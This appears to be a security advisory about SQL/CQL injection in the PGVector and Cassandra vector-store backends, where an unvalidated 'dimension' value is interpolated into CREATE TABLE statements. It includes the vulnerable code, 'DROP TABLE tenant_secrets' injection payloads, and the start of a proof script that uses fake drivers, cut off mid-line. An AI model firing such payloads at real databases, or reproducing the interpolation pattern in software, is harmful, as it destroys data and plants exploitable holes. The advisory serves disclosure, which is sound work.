PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL

Summary

The PGVector and Cassandra knowledge-store backends validate SQL/CQL identifiers such as schema, keyspace, and collection names, but still insert the caller-controlled dimension argument directly into CREATE TABLE vector column declarations. A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver.

Technical Details

The affected boundary is the vector-store collection creation API. The shared KnowledgeStore.create_collection() contract declares dimension: int, but Python type hints are not enforced at runtime. Backends that interpolate that value into DDL must validate the runtime value before constructing SQL/CQL.

src/praisonai/praisonai/persistence/knowledge/pgvector.py already treats DDL identifier interpolation as security-sensitive: __init__() calls validate_identifier(schema, name="schema"), and _table_name() calls validate_identifier(collection, name="collection name") before returning f"{self.schema}.praison_vec_{collection}". However, PGVectorKnowledgeStore.create_collection() then executes:

cur.execute(f"""
    CREATE TABLE IF NOT EXISTS {table} (
        id VARCHAR(255) PRIMARY KEY,
        content TEXT,
        content_hash VARCHAR(64),
        created_at DOUBLE PRECISION,
        metadata JSONB,
        embedding vector({dimension})
    )
""")

No equivalent type or range check runs on dimension. Passing a string such as 3); DROP TABLE tenant_secrets; -- reaches the SQL sent to cur.execute().

src/praisonai/praisonai/persistence/knowledge/cassandra.py has the same pattern. The constructor validates keyspace, and create_collection() validates the collection name, but the vector column DDL uses:

self._session.execute(f"""
    CREATE TABLE IF NOT EXISTS {name} (
        id text PRIMARY KEY,
        content text,
        content_hash text,
        created_at double,
        embedding vector<float, {dimension}>
    )
""")

Passing a string such as 3>; DROP TABLE tenant_secrets; -- reaches the CQL sent to session.execute().

PoV

This minimal PoV imports the real backend classes with fake database drivers, records the statements sent to the drivers, and compares a safe integer dimension with a malicious string dimension. It also attempts a malicious collection name as a negative control; current code rejects that name, proving the identifier hardening is active while the vector dimension remains unguarded.

#!/usr/bin/env python3
"""Local PoV for vector-store dimension DDL interpolation.

The script imports PraisonAI's current source with fake PostgreSQL/Cassandra
drivers, then records the SQL/CQL sent to the driver cursors. No database server
is required; the assertion is that the real classes build executable DDL with an
attacker-controlled dimension string.
"""

from __future__ import annotations

import argparse
import importlib
import json
import subprocess
import sys
import types
from pathlib import Path
from typing import Any


class SqlRecorder:
    def __init__(self) -> None:
        self.statements: list[dict[str, Any]] = []

    def execute(self, statement: str, params: Any = None) -> None:
        normalized = "\n".join(line.rstrip() for line in statement.strip().splitlines())
        self.statements.append({"statement": normalized, "params": params})

    def __enter__(self) -> "SqlRecorder":
        return self

    def __exit__(self, *_exc: object) -> None:
        return None


class FakeConnection:
    def __init__(self, recorder: SqlRecorder) -> None:
        self.recorder = recorder

    def cursor(self, *args: Any, **kwargs: Any) -> SqlRecorder:
        return self.recorder

    def commit(self) -> None:
        return None


class FakePool:
    def __init__(self, recorder: SqlRecorder) -> None:
        self.conn = FakeConnection(recorder)

    def getconn(self) -> FakeConnection:
        return self.conn

    def putconn(self, _conn: FakeConnection) -> None:
        return None

    def closeall(self) -> None:
        return None


class FakeCassandraSession:
    def __init__(self, recorder: SqlRecorder) -> None:
        self.recorder = recorder
        self.keyspace: str | None = None

    def execute(self, statement: str, params: Any = None) -> list[Any]:
        self.recorder.execute(statement, params)
        return []

    def set_keyspace(self, keyspace: str) -> None:
        self.keyspace = keyspace


class FakeCluster:
    recorder: SqlRecorder

    def __init__(self, *_args: Any, **_kwargs: Any) -> None:
        self.session = FakeCassandraSession(self.recorder)

    def connect(self) -> FakeCassandraSession:
        return self.session

    def shutdown(self) -> None:
        return None


def install_fake_pg_driver(recorder: SqlRecorder) -> None:
    psycopg2 = types.ModuleType("psycopg2")
    pool = types.ModuleType("psycopg2.pool")
    extras = types.ModuleType("psycopg2.extras")

    pool.ThreadedConnectionPool = lambda *_args, **_kwargs: FakePool(recorder)  # type: ignore[attr-defined]
    extras.RealDictCursor = object  # type: ignore[attr-defined]
    psycopg2.pool = pool  # type: ignore[attr-defined]
    psycopg2.extras = extras  # type: ignore[attr-defined]

    sys.modules["psycopg2"] = psycopg2
    sys.modules["psycopg2.pool"] = pool
    sys.modules["psycopg2.extras"] = extras


def install_fake_cassandra_driver(recorder: SqlRecorder) -> None:
    cassandra = types.ModuleType("cassandra")
    cluster = types.ModuleType("cassandra.cluster")
    auth = types.ModuleType("cassandra.auth")

    FakeCluster.recorder = recorder
    cluster.Cluster = FakeCluster  # type: ignore[attr-defined]
    auth.PlainTextAuthProvider = lambda *_args, **_kwargs: object()  # type: ignore[attr-defined]

    sys.modules["cassandra"] = cassandra
    sys.modules["cassandra.cluster"] = cluster
    sys.modules["cassandra.auth"] = auth


def git_value(source_root: Path, *args: str) -> str:
    return subprocess.check_output(["git", *args], cwd=source_root, text=True).strip()


def try_invalid_collection(store: Any) -> str:
    try:
        store.create_collection("docs; DROP TABLE blocked; --", 3)
    except Exception as exc:  # noqa: BLE001 - output records exact guard behavior.
        return f"{type(exc).__name__}: {exc}"
    return "accepted"


def run_pgvector(source_root: Path) -> dict[str, Any]:
    recorder = SqlRecorder()
    install_fake_pg_driver(recorder)
    sys.path.insert(0, str(source_root / "src" / "praisonai"))
    mod = importlib.import_module("praisonai.persistence.knowledge.pgvector")
    store = mod.PGVectorKnowledgeStore(url="postgresql://example.invalid/db", auto_create_extension=False)

    invalid_collection = try_invalid_collection(store)
    recorder.statements.clear()
    store.create_collection("docs", 3)
    safe_statements = list(recorder.statements)

    recorder.statements.clear()
    payload = "3); DROP TABLE tenant_secrets; --"
    store.create_collection("docs", payload)
    malicious_statements = list(recorder.statements)

    return {
        "payload": payload,
        "invalid_collection_control": invalid_collection,
        "safe_contains_drop_table": "DROP TABLE" in json.dumps(safe_statements),
        "malicious_contains_drop_table": "DROP TABLE tenant_secrets" in json.dumps(malicious_statements),
        "safe_statements": safe_statements,
        "malicious_statements": malicious_statements,
    }


def run_cassandra(source_root: Path) -> dict[str, Any]:
    recorder = SqlRecorder()
    install_fake_cassandra_driver(recorder)
    sys.path.insert(0, str(source_root / "src" / "praisonai"))
    mod = importlib.import_module("praisonai.persistence.knowledge.cassandra")
    store = mod.CassandraKnowledgeStore(hosts=["127.0.0.1"], keyspace="praisonai_safe")

    invalid_collection = try_invalid_collection(store)
    recorder.stateme